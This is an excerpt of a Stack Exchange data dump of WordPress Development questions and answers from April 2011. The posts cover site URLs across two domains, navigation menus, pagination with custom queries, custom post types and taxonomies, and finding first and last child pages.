  <row Id="14607" PostTypeId="2" ParentId="10365" CreationDate="2011-04-12T20:26:37.273" Score="1" ViewCount="" Body="&lt;p&gt;Yes, you can definitely run it with the two URLs on the same box. The only reason I've ever seen against doing this is to avoid getting a duplicate content penalty from search engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never done this on a Windows box, only Linux; however, assuming you can get both URLs to get to the same installation, the rest is platform-agnostic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I do this on my sites (when I need to):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = ( false === strpos( $_SERVER['SERVER_NAME'], 'thinkfuture.com' ) ) ? 'http://freedombunker.com' : 'http://thinkfuture.com/cfs';&#xA;define('WP_SITEURL', $url);&#xA;define('WP_HOME', $url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will change all dynamic URLs depending on which url was used to get there. Anything that's hardcoded (image sources, etc.) will stay the same, but they should all still work.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-12T20:26:37.273" />
  <row Id="14608" PostTypeId="2" ParentId="14605" CreationDate="2011-04-12T20:30:19.320" Score="1" ViewCount="" Body="&lt;p&gt;There is no convention or consensus on any of these questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my own Theme, Oenology, I use the standard template tag &lt;code&gt;the_content()&lt;/code&gt; to get the content for almost every Post Format type. The exception is Images and Galleries, where I pull the image out separately, and use &lt;code&gt;the_excerpt()&lt;/code&gt; as the image caption/gallery description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) They are intended to display whatever content is added to the Post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) Use &lt;code&gt;the_content()&lt;/code&gt;, just as you would with a &quot;standard&quot; Post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C) Display it, either as per normal, or using some creativity for certain post format types. If you develop a Theme that makes certain assumptions about what content applies to specific Post Format types, then provide documentation within the Theme to explain those assumptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D) You can't know. I just leave the raw link to the audio, and leave it up to the end user to choose an Audio Player Plugin.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-12T20:30:19.320" />
  <row Id="14609" PostTypeId="1" CreationDate="2011-04-12T20:51:03.347" Score="1" ViewCount="105" Body="&lt;p&gt;I'm using my own Theme, i'v read this references. For comments I'm using comments.php template which is located in my theme folder, but there isn't code in comments.php which create navigation links, actually between header and main content. &lt;/p&gt;&#xA;" OwnerUserId="4519" LastEditorUserId="4519" LastEditorDisplayName="" LastEditDate="2011-04-12T21:37:11.107" LastActivityDate="2011-08-13T03:23:11.430" Title="Remove post navigation links" Tags="&lt;comments&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14610" PostTypeId="2" ParentId="14609" CreationDate="2011-04-12T20:56:51.350" Score="1" ViewCount="" Body="&lt;p&gt;First, it would be very helpful to know what Theme you're using, so that we can give specific instructions/advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without knowing what Theme you're using, we have no way of knowing what template file(s) to tell you to edit; however, those links are likely coming from these two tags:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;previous_post_link()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/previous_post_link&quot; rel=&quot;nofollow&quot;&gt;Codex reference&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;next_post_link()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/next_post_link&quot; rel=&quot;nofollow&quot;&gt;Codex reference&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-12T20:56:51.350" CommentCount="4" />
  <row Id="14611" PostTypeId="2" ParentId="14596" CreationDate="2011-04-12T21:02:56.060" Score="2" ViewCount="" Body="&lt;p&gt;You can &lt;code&gt;admin_print_scripts-{$page}&lt;/code&gt; hook to inclue or enqueue your scripts on your page only, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = add_management_page( 'myplugin', 'myplugin', 9, __FILE__, 'myplugin_admin_page' );&#xA;add_action( &quot;admin_print_scripts-$page&quot;, 'myplugin_plugin_add_scripts' );&#xA;&#xA;function myplugin_plugin_add_scripts(){&#xA;  wp_enqueue_script('myscript', '/wp-content/plugins/myplugin/myscript.js'); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the same way you can also use &lt;code&gt;admin_print_styles-$page&lt;/code&gt; to include your css styles.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-12T21:02:56.060" CommentCount="4" />
  <row Id="14612" PostTypeId="1" AcceptedAnswerId="14681" CreationDate="2011-04-12T21:50:44.187" Score="0" ViewCount="341" Body="&lt;p&gt;I am using &lt;code&gt;get_posts&lt;/code&gt; and &lt;code&gt;get_comments&lt;/code&gt; to build several loops on the page, at which I am having some issues in pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the global posts per page option &lt;strong&gt;(Settings &gt; Reading)&lt;/strong&gt; set to &lt;strong&gt;10&lt;/strong&gt;, and this seems to vary the problem. As of now, I can easily get to &lt;strong&gt;Page 2&lt;/strong&gt; - &lt;a href=&quot;http://dev.ashfame.com/author/ashfame/page/2/&quot; rel=&quot;nofollow&quot;&gt;http://dev.ashfame.com/author/ashfame/page/2/&lt;/a&gt;, but &lt;strong&gt;Page 3&lt;/strong&gt; returns a &lt;strong&gt;404&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I lower the global value, I get to have more paginated pages but not all (lesser number than how many there should be).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I just tried setting my custom setting as 2 (and the global one too), and WordPress should paginate until &lt;strong&gt;page 4&lt;/strong&gt; (I have &lt;strong&gt;7&lt;/strong&gt; items to show) but now it does but also &lt;strong&gt;page 5 &amp;amp; 6. 7&lt;/strong&gt; gives &lt;strong&gt;404&lt;/strong&gt;. Why? How do I troubleshoot this thing now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Progress:&lt;/strong&gt; @t31os helped me figure out that its the WP default query on the page which is setting up the pagination for that page. Now I can think of one way to kill the default WP query on that page (but how?) and then how would I further paginate the &lt;strong&gt;author.php&lt;/strong&gt; page? Or is there any other way of doing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Current code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;            $author_details = $wp_query-&amp;gt;get_queried_object();&#xA;&#xA;            // Posts Per Page option&#xA;            // $ppp = get_option('posts_per_page');&#xA;            $ppp = 1; //custom setting, if you want to obey the global setting here, comment this line and uncomment the above line&#xA;&#xA;            if (!is_paged()) {&#xA;                $custom_offset = 0;&#xA;            } else {&#xA;                $custom_offset = $ppp*($paged-1);&#xA;            }&#xA;&#xA;            echo '&amp;lt;h1&amp;gt;Author ID : '.$author_details-&amp;gt;ID.', Page : '.$paged.', Custom Offset : '.$custom_offset.'&amp;lt;/h1&amp;gt;';&#xA;&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;h2&amp;gt;Articles&amp;lt;/h2&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;            $args = array(&#xA;            'numberposts' =&amp;gt; $ppp,&#xA;            'offset' =&amp;gt; $custom_offset,&#xA;            'category' =&amp;gt; 7,&#xA;            'author' =&amp;gt; $author_details-&amp;gt;ID&#xA;            );&#xA;&#xA;            $posts_data = get_posts( $args );&#xA;&#xA;            // print_r($posts_data);&#xA;&#xA;            if ( count( $posts_data ) &amp;gt; 0 ) {               &#xA;                echo '&amp;lt;ul&amp;gt;';                &#xA;                foreach ( $posts_data as $post ) {                      &#xA;                    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_permalink( $post-&amp;gt;ID ).'&quot;&amp;gt;'.$post-&amp;gt;post_title.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;                }               &#xA;                echo '&amp;lt;/ul&amp;gt;';&#xA;            } else {&#xA;                echo '&amp;lt;p&amp;gt;No articles by this user&amp;lt;/p&amp;gt;';&#xA;            }           &#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;h2&amp;gt;Journals&amp;lt;/h2&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;            $args = array(&#xA;            'numberposts' =&amp;gt; $ppp,&#xA;            'offset' =&amp;gt; $custom_offset,&#xA;            'category' =&amp;gt; 6,&#xA;            'author' =&amp;gt; $author_details-&amp;gt;ID&#xA;            );&#xA;            $posts_data = get_posts( $args );&#xA;&#xA;            // print_r($posts_data);&#xA;&#xA;            if ( count( $posts_data ) &amp;gt; 0 ) {               &#xA;                echo '&amp;lt;ul&amp;gt;';                &#xA;                foreach ( $posts_data as $post ) {                      &#xA;                    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_permalink( $post-&amp;gt;ID ).'&quot;&amp;gt;'.$post-&amp;gt;post_title.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;                }               &#xA;                echo '&amp;lt;/ul&amp;gt;';&#xA;            } else {&#xA;                echo '&amp;lt;p&amp;gt;No journals by this user&amp;lt;/p&amp;gt;';&#xA;            }&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;h2&amp;gt;Questions&amp;lt;/h2&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;            $args = array(&#xA;            'numberposts' =&amp;gt; $ppp,&#xA;            'offset' =&amp;gt; $custom_offset,&#xA;            'category' =&amp;gt; 3, // parent category ID is enough&#xA;            'author' =&amp;gt; $author_details-&amp;gt;ID&#xA;            );&#xA;            $posts_data = get_posts( $args );&#xA;&#xA;            // print_r($posts_data);&#xA;&#xA;            if ( count( $posts_data ) &amp;gt; 0 ) {               &#xA;                echo '&amp;lt;ul&amp;gt;';                &#xA;                foreach ( $posts_data as $post ) {                      &#xA;                    $category_array = get_the_category( $post-&amp;gt;ID );&#xA;                    $category_name = $category_array[0]-&amp;gt;name;&#xA;                    $category_permalink = get_category_link( $category_array[0]-&amp;gt;term_id );&#xA;                    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_permalink( $post-&amp;gt;ID ).'&quot;&amp;gt;'.$post-&amp;gt;post_title.'&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;br /&amp;gt;In: &amp;lt;a href=&quot;'.$category_permalink.'&quot;&amp;gt;'.$category_name.'&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;'.get_comments_number( $post-&amp;gt;ID ).' Answers&amp;lt;/li&amp;gt;';&#xA;                }               &#xA;                echo '&amp;lt;/ul&amp;gt;';&#xA;            } else {&#xA;                echo '&amp;lt;p&amp;gt;No questions by this user&amp;lt;/p&amp;gt;';&#xA;            }&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;h2&amp;gt;Answers&amp;lt;/h2&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;            $args = array(&#xA;            'user_id' =&amp;gt; $author_details-&amp;gt;ID,&#xA;            'number' =&amp;gt; $ppp,&#xA;            'offset' =&amp;gt; $custom_offset,&#xA;            'status' =&amp;gt; 'approve'&#xA;            );&#xA;            $answers_list = get_comments( $args );&#xA;&#xA;            // print_r($answers_list);&#xA;&#xA;            if ( count( $answers_list ) &amp;gt; 0 ) {&#xA;                $date_format = get_option( 'date_format' );&#xA;                echo '&amp;lt;ul&amp;gt;';&#xA;                foreach ( $answers_list as $answer ) {&#xA;                    echo '&amp;lt;li&amp;gt;Answer: '.substr( $answer-&amp;gt;comment_content, 0, 20 ).'..&amp;lt;br /&amp;gt;'.date( $date_format, strtotime( $answer-&amp;gt;comment_date ) ).'&amp;lt;br /&amp;gt;Question: &amp;lt;a href=&quot;'.get_permalink( $answer-&amp;gt;comment_post_ID ).'&quot;&amp;gt;'.get_the_title( $answer-&amp;gt;comment_post_ID ).'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;                }&#xA;                echo '&amp;lt;/ul&amp;gt;';&#xA;            } else {&#xA;                echo '&amp;lt;p&amp;gt;No answers by this user&amp;lt;/p&amp;gt;';&#xA;            }&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-17T11:21:46.203" LastActivityDate="2011-04-17T11:21:46.203" Title="Stomping WP_Query in author archive to facilitate pagination with custom queries" Tags="&lt;wp-query&gt;&lt;pagination&gt;&lt;author&gt;&lt;offsets&gt;&lt;loops&gt;" AnswerCount="1" CommentCount="13" FavoriteCount="1" />
  <row Id="14613" PostTypeId="2" ParentId="14544" CreationDate="2011-04-12T22:35:01.863" Score="1" ViewCount="" Body="&lt;p&gt;You can Use &lt;a href=&quot;http://wordpress.org/extend/plugins/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;qTranslate&lt;/a&gt;, this WordPress plugin let you have an easy to use interface for managing a fully multilingual web site.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;One-Click-Switching between the&#xA;  languages - Change the language as&#xA;  easy as switching  Choose one of 3&#xA;  Modes to make your URLs pretty and&#xA;  SEO-friendly. - The everywhere&#xA;  compatible ?lang=en, simple and&#xA;  beautiful /en/foo/ or nice and neat&#xA;  en.yoursite.com One language for each&#xA;  URL - Users and SEO will thank you for&#xA;  not mixing multilingual content&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For reference: &lt;a href=&quot;http://codex.wordpress.org/Multilingual_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Multilingual_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3022" LastActivityDate="2011-04-12T22:35:01.863" CommentCount="1" />
  <row Id="14614" PostTypeId="1" AcceptedAnswerId="14616" CreationDate="2011-04-13T00:06:21.243" Score="0" ViewCount="86" Body="&lt;p&gt;Alright so I've got two navigation menus that I've registered with my theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar();&#xA;&#xA;add_theme_support( 'menus' );&#xA;&#xA;if ( function_exists('register_nav_menu') ) {&#xA;    register_nav_menu( 'primary_nav', 'Primary Navigation');&#xA;    register_nav_menu( 'secondary_nav', 'Secondary Navigation');&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Functions.php&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&lt;Br/&gt;&#xA;And then Beyond that I've got two places in my header where I display the navigation menus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;!-- BEGIN: Navigation Menu primary_nav (Primary Navigation) --&amp;gt;&#xA;                &amp;lt;?php&#xA;                  if(function_exists('wp_nav_menu'))&#xA;                  {&#xA;                    wp_nav_menu(&#xA;                        array(&#xA;                            'menu' =&amp;gt; 'primary_nav',&#xA;                            'container' =&amp;gt; '',&#xA;                            'depth' =&amp;gt; 1,&#xA;                            'menu_id' =&amp;gt; 'menu'&#xA;                        )&#xA;                    );&#xA;                  }&#xA;                  else &#xA;                  {&#xA;                ?&amp;gt;&#xA;                   &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;?php wp_list_pages('title_li=&amp;amp;depth=1'); ?&amp;gt;&#xA;                   &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;?php&#xA;                  }&#xA;                ?&amp;gt;&#xA;                &amp;lt;!-- END: Navigation Menu primary_nav (Primary Navigation) --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;header.php&lt;/strong&gt; - Location 1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;!-- BEGIN: Secondary Navigation Menu --&amp;gt;&#xA;        &amp;lt;?php &#xA;              if(function_exists('wp_nav_menu')) {&#xA;                wp_nav_menu(&#xA;                    array(&#xA;                        'menu' =&amp;gt; 'secondary_nav',&#xA;                        'container' =&amp;gt; '',&#xA;                        'depth' =&amp;gt; 1,&#xA;                        'menu_id' =&amp;gt; 'secondary_nav_id'&#xA;                    )&#xA;                );&#xA;              }&#xA;              else {&#xA;        ?&amp;gt;&#xA;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;?php wp_list_pages('title_li=&amp;amp;depth=1'); ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;?php&#xA;              }&#xA;        ?&amp;gt;&#xA;        &amp;lt;!-- END: Secondary Navigation Menu --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;header.php&lt;/strong&gt; - Location 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the admin page for the theme everything shows up just fine, both menus appear in the list both Primary Navigation and Secondary Navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And from the admin screen I've added two distinct sets of menu items.  However, whenever I load up my theme, for some reason I end up with only the menus from the Primary Navigation appearing twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I've forgotten that would cause this behavior?&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2011-04-13T00:25:33.950" Title="Two Navigation Menus in Themes Produce the same menus?" Tags="&lt;themes&gt;&lt;navigation&gt;&lt;admin-menu&gt;" AnswerCount="1" />
  <row Id="14615" PostTypeId="2" ParentId="3014" CreationDate="2011-04-13T00:12:54.203" Score="0" ViewCount="" Body="&lt;p&gt;@Somatic - that's fantasic! I modified your code a bit so it also works for a specific Taxonomy (which I'm using only for the related post_type). The idea is to use the menu item's Title attribute to store both the name of the post_type AND the name of the taxonomy, separated by a semi-colon, and then exploded by the function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('nav_menu_css_class', 'current_type_nav_class', 10, 2 );&#xA;function current_type_nav_class($classes, $item) {&#xA;&#xA;    # get Query Vars&#xA;    $post_type = get_query_var('post_type');  &#xA;    $taxonomy = get_query_var('taxonomy');&#xA;&#xA;    # get and parse Title attribute of Menu item&#xA;    $title = $item-&amp;gt;attr_title; // menu item Title attribute, as post_type;taxonomy&#xA;    $title_array = explode(&quot;;&quot;, $title);&#xA;    $title_posttype = $title_array[0];&#xA;    $title_taxonomy = $title_array[1];&#xA;&#xA;    # add class if needed&#xA;    if ($title != '' &amp;amp;&amp;amp; ($title_posttype == $post_type || $title_taxonomy == $taxonomy)) {&#xA;        array_push($classes, 'current-menu-item');&#xA;    };&#xA;    return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4548" LastActivityDate="2011-04-13T00:12:54.203" />
  <row Id="14616" PostTypeId="2" ParentId="14614" CreationDate="2011-04-13T00:25:33.950" Score="2" ViewCount="" Body="&lt;p&gt;Try &lt;code&gt;theme_location&lt;/code&gt; instead of &lt;code&gt;menu&lt;/code&gt; in arguments. Too late here to look up specifics, but I remember documentation/code being absolutely confusing about that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-13T00:25:33.950" CommentCount="4" />
  <row Id="14617" PostTypeId="1" CreationDate="2011-04-13T00:26:25.057" Score="0" ViewCount="56" Body="&lt;p&gt;I have a few existing NextGEN galleries on my WordPress installation.  I would like to allow my users to navigate to a next gallery upon reaching the end of the current gallery (after clicking the 'next' link on the last photo)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I googled and dug through the plug-in, but couldn't identify that this is an existing feature.  Any direction?&lt;/p&gt;&#xA;" OwnerUserId="4623" LastActivityDate="2011-06-09T09:30:13.787" Title="Linking between NextGEN Galleries" Tags="&lt;plugin-nextgen-gallery&gt;" AnswerCount="0" />
  <row Id="14618" PostTypeId="1" CreationDate="2011-04-13T00:45:59.477" Score="0" ViewCount="150" Body="&lt;p&gt;I have an index/parent page and there are few sub/chlid pages in Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to check which sub page is the first child, and which is last child?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="4624" LastActivityDate="2011-04-14T01:28:36.330" Title="check first and last child pages wordpress" Tags="&lt;3.0&gt;" AnswerCount="2" />
  <row Id="14619" PostTypeId="1" AcceptedAnswerId="14620" CreationDate="2011-04-13T00:58:59.113" Score="4" ViewCount="148" Body="&lt;p&gt;I'm working on a real-estate site where I need to create a profile for each &lt;strong&gt;agent&lt;/strong&gt;, the initial view when you click on &lt;strong&gt;view agents&lt;/strong&gt; would be to list them alphabetically, ideally from a dropdown you could select a &lt;strong&gt;region&lt;/strong&gt; to view all the &lt;strong&gt;agents&lt;/strong&gt; from that &lt;strong&gt;region&lt;/strong&gt;, or chose a &lt;strong&gt;language&lt;/strong&gt; to view all the &lt;strong&gt;agents&lt;/strong&gt; who speak a given &lt;strong&gt;language&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thinking is &lt;strong&gt;Agent&lt;/strong&gt; would be a custom post type, &lt;strong&gt;region&lt;/strong&gt; and &lt;strong&gt;language&lt;/strong&gt; would be a taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The listing of &lt;strong&gt;agents&lt;/strong&gt; would then be created by showing many posts, just only showing limited details, then when clicked act as a single post, with more details shown?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this seem like the best way to go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4090" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-13T09:53:54.320" LastActivityDate="2011-04-13T09:53:54.320" Title="custom post type or taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="14620" PostTypeId="2" ParentId="14619" CreationDate="2011-04-13T01:23:00.860" Score="6" ViewCount="" Body="&lt;p&gt;That Sounds about right, I'm just about to finish similar project with the same base (post type, taxonomies) structure, so here are a few notes to get you going:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To enable your &quot;view agents&quot; make&#xA;sure when you register agents post&#xA;type that you set has_archive to true&#xA;or use string as archive slug which&#xA;will make your life much easier.&lt;/li&gt;&#xA;&lt;li&gt;When registering custom taxonomies&#xA;make sure to set &lt;code&gt;rewrite&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Create a custom template&#xA;taxonomy-{taxonomy}.php for each of&#xA;your custom taxonomies (even if they&#xA;both show the same thing, trust me on&#xA;this one) this will save you a lot of&#xA;time.&lt;/li&gt;&#xA;&lt;li&gt;On your &quot;view agents&quot; template file (&lt;code&gt;archive-agents.php&lt;/code&gt;) Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&quot; rel=&quot;nofollow&quot;&gt;wp_dropdown_categories&lt;/a&gt;&#xA;function to generate your region and&#xA;language dropdowns.&lt;/li&gt;&#xA;&lt;li&gt;And last create your&#xA;single-agents.php template file to&#xA;display the full information of the&#xA;agent.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-13T01:23:00.860" CommentCount="2" />
  <row Id="14621" PostTypeId="2" ParentId="14618" CreationDate="2011-04-13T01:38:45.460" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_pages&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;get_pages()&lt;/strong&gt;&lt;/a&gt; function to do that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$current_page_id = $post-&amp;gt;ID;&#xA;//Sort by creation time:&#xA;&#xA;$args = array(&#xA;    'child_of' =&amp;gt; $current_page_id,&#xA;    'sort_order' =&amp;gt; 'ASC',&#xA;    'sort_column' =&amp;gt; 'post_date',&#xA;    'hierarchical' =&amp;gt; 1,&#xA;    'number' =&amp;gt; 1,&#xA;);&#xA;$first_child = get_pages($args);&#xA;&#xA;//moddify args to get the last child:&#xA;&#xA;$args['sort_order'] = 'DESC';&#xA;$last_child = get_pages($args);&#xA;&#xA;//when loopting thrugh your pages you can check if &#xA;//they match and do what you want based on that:&#xA;...&#xA;if($current_page-&amp;gt;ID = $first_child-&amp;gt;ID){&#xA;//this is the first child page&#xA;}elseif($current_page-&amp;gt;ID = $first_child-&amp;gt;ID){&#xA;//this is the last child page&#xA;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now since your question doesn't specify in what order you are pulling them then i'll add this:&#xA;If you want to check the order based on something other then creation date just change the &lt;code&gt;sort_column&lt;/code&gt; parameter which takes of any field in the wp_post table of the WordPress database, here are a few examples from the codex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*  'post_title' - Sort Pages alphabetically (by title) - default&#xA;* 'menu_order' - Sort Pages by Page Order. N.B. Note the difference between Page Order and Page ID. The Page ID is a unique number assigned by WordPress to every post or page. The Page Order can be set by the user in the Write&amp;gt;Pages administrative panel.&#xA;* 'post_date' - Sort by creation time.&#xA;* 'post_modified' - Sort by time last modified.&#xA;* 'ID' - Sort by numeric Page ID.&#xA;* 'post_author' - Sort by the Page author's numeric ID.&#xA;* 'post_name' - Sort alphabetically by Post slug. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-13T01:38:45.460" />
  <row Id="14622" PostTypeId="1" AcceptedAnswerId="15116" CreationDate="2011-04-13T04:14:21.613" Score="2" ViewCount="198" Body="&lt;p&gt;Basically, I thinking how i could get a mini wp-admin/edit.php view inside the wp-admin/post.php page. does this even make sense to anyone?&lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2011-07-20T08:53:58.503" Title="display list of posts/pages in admin edit post/page" Tags="&lt;posts&gt;&lt;wp-admin&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14623" PostTypeId="2" ParentId="6184" CreationDate="2011-04-13T04:14:53.067" Score="1" ViewCount="" Body="&lt;p&gt;I'm not entirely sure if this will help in EXACTLY the way you are looking for, but when it comes to map integration into posts, I love to use &lt;a href=&quot;http://wphostreviews.com/mappress&quot; rel=&quot;nofollow&quot;&gt;MapPress&lt;/a&gt;. It supports a pretty robust API which allows you to hook into the plugin to do some custom things, and I'm sure with a little work you could get to where you want to be with your project. I don't usually like the pay-for plugins but I highly recommend buying his MapPress Pro, it works very very well, is highly versatile, and he is always keeping it updated.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-13T04:14:53.067" />
  <row Id="14625" PostTypeId="1" CreationDate="2011-04-13T05:55:47.773" Score="0" ViewCount="31" Body="&lt;p&gt;I was reading this question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7571/plugin-for-changing-a-posts-category-based-on-its-post-date&quot;&gt;&quot;Changing post category based on its post date&quot;&lt;/a&gt; because I have some similar situation... Also the majority of &quot;featured post&quot; plugins on wordpress  works by specifying a &quot;featured category&quot;. my question is, Doesn't that behavior create some &quot;page not found&quot; ?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if google have your Category A cached, but then you move the post to Category B or C(Sub Category) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can be done in that situation ?&lt;/p&gt;&#xA;" OwnerUserId="3022" LastActivityDate="2011-05-13T06:50:29.383" Title="Is changing post from category in a large blog a good practice?" Tags="&lt;plugins&gt;&lt;seo&gt;&lt;categories&gt;" AnswerCount="1" />
  <row Id="14626" PostTypeId="2" ParentId="14625" CreationDate="2011-04-13T06:33:06.257" Score="2" ViewCount="" Body="&lt;p&gt;Unless the permalink structure has category in it, changing category won't give 404 as the URL will be the same, and just content of category pages will change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have date format (year/month/date) in your permalink structure, then changing the date of the post, will break the link and will return a 404 but I think you can easily do that (if you need to) and manage redirections with the help of this plugin (it will search on a 404 and automatically redirects to the right post found, works very good in case you change permalinks, so I think it will work pretty well here too) &lt;a href=&quot;http://www.microkid.net/wordpress/permalinks-moved-permanently/&quot; rel=&quot;nofollow&quot;&gt;http://www.microkid.net/wordpress/permalinks-moved-permanently/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-13T06:33:06.257" />
  <row Id="14627" PostTypeId="1" AcceptedAnswerId="14634" CreationDate="2011-04-13T06:46:54.940" Score="0" ViewCount="66" Body="&lt;p&gt;I was considering a plugin that inserts itself as a widget in one's sidebar. Trouble is, I don't know what to expect for the minimum width in one's sidebar. Is there a standard?&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2011-04-13T08:50:03.133" Title="Minimum Widget Width for Plugin Development" Tags="&lt;plugin-development&gt;&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="1" />
